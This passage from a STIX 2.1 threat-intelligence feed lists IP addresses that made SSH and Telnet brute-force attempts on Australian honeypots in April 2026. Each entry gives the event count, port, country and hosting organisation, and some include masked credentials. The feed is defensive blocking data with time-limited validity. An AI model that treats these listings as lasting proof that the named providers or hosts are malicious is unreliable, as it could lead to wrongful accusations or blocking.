      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262689. Organisation(s): UNOUN INTERNET LTDA.",
      "id": "indicator--572b3fae-8caa-4cb7-a33d-acac08dc42a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.87.225.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--284a8590-24f4-46a9-af64-10192f8a6bf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.241.154.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): u****u, 3**********4, f******r, g*****n, k****n. Passwords observed (masked): 1**1, ***, 1*******#, 3***********4, 3**********4.",
      "id": "indicator--6f29f195-43cd-4f50-a85b-b9379dd63300",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.98.56.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 58487. Organisation(s): CV. Rumahweb Indonesia.",
      "id": "indicator--363f3588-a926-46a6-9ff5-1d22453f5d45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.10.42.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 4775. Organisation(s): Globe Telecoms.",
      "id": "indicator--80a9b518-8d2a-421e-8f27-ef98a1904568",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.247.87.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 20857. Organisation(s): Signet B.V..",
      "id": "indicator--6ea0b114-ef14-4c9a-8b37-8c4e4bc809d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.97.152.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 15713. Organisation(s): LLC Global-City-Net.",
      "id": "indicator--c9254833-8861-4a8d-b43a-9c36214bcef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.142.111.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--9788bc6b-ac8f-4a80-bfe4-a6dd333eea2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.97.46.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--fa707c77-9223-4245-b7aa-49ec4561a4da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.146.194.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: MD. ASN(s): 31252. Organisation(s): StarNet Solutii SRL.",
      "id": "indicator--c0718238-7e65-4714-b4b1-85d5584d4277",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.65.36.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:15:10.000Z",
      "valid_until": "2026-06-01T11:15:08.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY.",
      "id": "indicator--2cfcc5f8-cab4-4400-95c9-d1c23d5cdf86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.195.236.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 140900. Organisation(s): Getlinks SMC-Private Limited.",
      "id": "indicator--9c3aad81-5fc2-4b7c-9b1d-9db43f83b1f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.203.46.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 55293. Organisation(s): A2 Hosting, Inc..",
      "id": "indicator--934ac320-43d4-4c8c-875f-0ab894f29bb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.204.129.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 21277. Organisation(s): Allay Nawroz Telecom Company for Communication/Ltd..",
      "id": "indicator--a9301e8a-f37a-4901-9b37-f8b819f623cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.127.82.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--6be4299d-821c-46d7-8066-bd21f0b536f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.19.181.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--de0fa535-09c3-4d45-bed6-fed3102d0139",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.148.32.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--3d22dd59-a95a-43cb-b63a-09631730b27c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 27740. Organisation(s): EDGEUNO ECUADOR S.A..",
      "id": "indicator--ee04d6a2-b92c-45f7-aa39-b8bc9441f4a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.108.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--3e253a44-73f4-46e6-8d69-a4576942e79e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.56.78.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, p******d.",
      "id": "indicator--9adc5fd6-43eb-402a-bb09-f9fb258ad390",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.205.92.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--75b21a6f-4623-4edf-b204-45f0d4571000",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.167.222.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14589. Organisation(s): Wave Broadband.",
      "id": "indicator--cc449b14-1429-40c0-8363-db22bcc22366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.29.184.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:15:05.000Z",
      "valid_until": "2026-06-01T12:15:03.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 38532. Organisation(s): Exabytes Network Singapore Pte. Ltd..",
      "id": "indicator--7e8fbda7-f6bd-45dc-b8ae-647530c26705",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.26.42.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 38532. Organisation(s): Exabytes Network Singapore Pte. Ltd..",
      "id": "indicator--92b4b3a4-748a-42e8-b89f-61740be2b3b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.7.11.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--906f1c37-8e57-4ae6-8923-538c4afebd31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '105.71.133.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--3aecf967-ff9d-43bf-9064-e79f0537d22e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.58.81.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 680. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--34450a42-8620-446d-b64b-2f80d1fb284c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.214.129.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--a28f3dd0-93fa-42ee-9455-8a289bfa8947",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.240.236.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--6db505ad-44d0-4221-9596-2bd3830ae71c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.86.114.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 390. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, d*******r, u**r. Passwords observed (masked): 1**4, 1****6, a***n, p******d, 0*************7.",
      "id": "indicator--01a0afb1-a13a-4fb3-9db5-40ad4c5b50a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.243.148.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, t**t, a***n, u****u, 3**********4. Passwords observed (masked): 1****3, 1****6, 1******8, 1*****@, 3***********4.",
      "id": "indicator--24270fed-f19c-44b4-a223-bb495bd3a997",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.249.74.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 60140. Organisation(s): Buzinessware FZCO.",
      "id": "indicator--443c21f3-436f-4363-acd9-c64b9ce65b1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.56.88.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28668. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
      "id": "indicator--4afc8782-7c89-4d40-9233-06e7cd923d85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.1.152.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--ced18ee4-93b0-4af8-9998-2863a1ab45e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.163.193.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 32613. Organisation(s): Leaseweb Canada Inc..",
      "id": "indicator--d3a0d315-0db5-4649-adac-76b2b75e7d9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.72.112.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 62651. Organisation(s): Strong Technology, LLC..",
      "id": "indicator--84246647-7fa3-4682-a003-3f58fdd16c2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.131.74.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
